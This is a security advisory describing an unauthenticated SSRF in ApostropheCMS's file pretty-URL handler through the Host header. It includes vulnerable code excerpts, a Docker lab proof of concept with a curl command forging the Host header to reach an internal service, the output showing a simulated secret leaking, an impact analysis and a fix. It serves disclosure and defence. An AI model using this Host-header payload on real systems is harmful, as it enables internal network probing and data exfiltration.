@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header

Summary

When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw Host HTTP request header:

proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`

That URL is then fetch'ed and the response body + headers are streamed straight back to the requester. Because Host is fully attacker-controlled, an unauthenticated remote attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to /uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on apostrophe@4.30.0 (latest); no fixed release exists.

• Affected: apostrophe <= 4.30.0 when @apostrophecms/file is configured with prettyUrls: true and uploadfs is local (the default; S3/CDN deployments produce an absolute uglyUrl and are not affected).

Details

modules/@apostrophecms/file/index.js (excerpt; the public GET route registered when prettyUrls: true):

if (!self.options.prettyUrls) return;
return {
  get: {
    async [`${self.options.prettyUrlDir}/*`](req, res) {
      const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
      if (!matches) return res.status(400).send('invalid');
      const [ , slug ] = matches;
      if (slug.includes('..') || slug.includes('/')) {
        return res.status(403).send('forbidden');
      }
      const file = await self.find(req, {
        slug: `${self.options.slugPrefix}${slug}`
      }).toObject();
      if (!file) return res.status(404).send('not found');

      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
      const proxyUrl = uglyUrl.startsWith('/')
        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink
        : uglyUrl;
      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
    }
  }
};

lib/stream-proxy.js (excerpt):

module.exports = async function(req, url, { error }) {
  const res = req.res;
  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
  let response;
  try { response = await fetch(url); }       // <-- attacker-steered fetch
  catch (e) { return send502(e); }
  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
    const v = response.headers.get(header);
    if (v != null) res.header(header, v);
  }
  res.status(response.status);
  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};

req.get('host') returns the unvalidated Host HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed proxyUrl against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels).

Prerequisites are minimal: prettyUrls: true (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content).

Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in @apostrophecms/file, via the Host header.

PoC

Three services on an isolated Docker network: mongo, internal (returns a fake secret, never exposed to the host), apos:3000 (the only port the host can reach). The host attacker proves it cannot reach internal directly, then exfiltrates internal's response via one crafted request to apos.

app.js (normal apostrophe site, documented option only):

require('apostrophe')({
  shortName: 'apos-ssrf-poc',
  autoBuild: false,
  modules: {
    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)
  }
});

docker-compose.yml:

services:
  mongo: { image: mongo:7, networks: [poc] }
  internal:
    image: python:3.12-slim
    command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
    networks: [poc]
  apos:
    build: .
    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
    depends_on: [mongo, internal]
    ports: ["3000:3000"]
    networks: [poc]
networks: { poc: { driver: bridge } }

exploit.sh (unauthenticated attacker on the host):

# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"

# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"

Build & run:

docker compose build && docker compose up -d && ./exploit.sh

Observed output (apostrophe@4.30.0, clean stack):

[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL

[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2

RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).

The internal service is unreachable from the host, but apostrophe fetches it on the attacker's behalf and pipes the response body — secret included — straight back over the same HTTP response.

Impact

Unauthenticated remote SSRF, but the path component is constrained to /uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup on a slug the attacker already had to know). That constraint plus cuid uniqueness rules out the cases I originally listed:

• Cloud metadata is not reachable — AWS IMDS (/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure (/metadata/...) all live at fixed paths that don't overlap with /uploads/attachments/.... Same for Redis admin, Elasticsearch, and most internal API surfaces.
• Cross-instance data exfiltration is also ruled out. For an internal target (another apos instance, MinIO bucket, etc.) to serve a body at this path, it would need the exact local cuid + slug, which realistically only happens when the target restored / shares the public site's data — in which case the same content is reachable via the front door anyway. Apostrophe also won't construct a pretty URL for archived / restricted media, closing the older-snapshot edge case.

What remains is blind-SSRF residual:

• Network-topology mapping via response-code or response-time differences across internal hosts.
• Banner / version disclosure from verbose reverse-proxy or WAF 404 bodies.
• Bypassing network egress controls — outbound requests originate from the apostrophe server rather than the attacker.

The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation.

Recommended fix

Stop deriving the upstream URL from the request Host header. Two complementary changes:

1. In modules/@apostrophecms/file/index.js (the lines that build proxyUrl), use a server-trusted absolute base URL (e.g., apos.baseUrl or the configured site URL) instead of req.get('host'):

   js

   const proxyUrl = uglyUrl.startsWith('/')
     ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`
     : uglyUrl;

2. In lib/stream-proxy.js, enforce a strict origin allowlist (the configured apostrophe base URL + any configured CDN host) before calling fetch. Defence in depth: future callers of streamProxy cannot accidentally reintroduce the gap.

A regression test that sets Host: 169.254.169.254 (or any non-configured host) on /files/<slug>.<ext> and asserts the upstream fetch is not issued / the response is a 4xx would lock this down.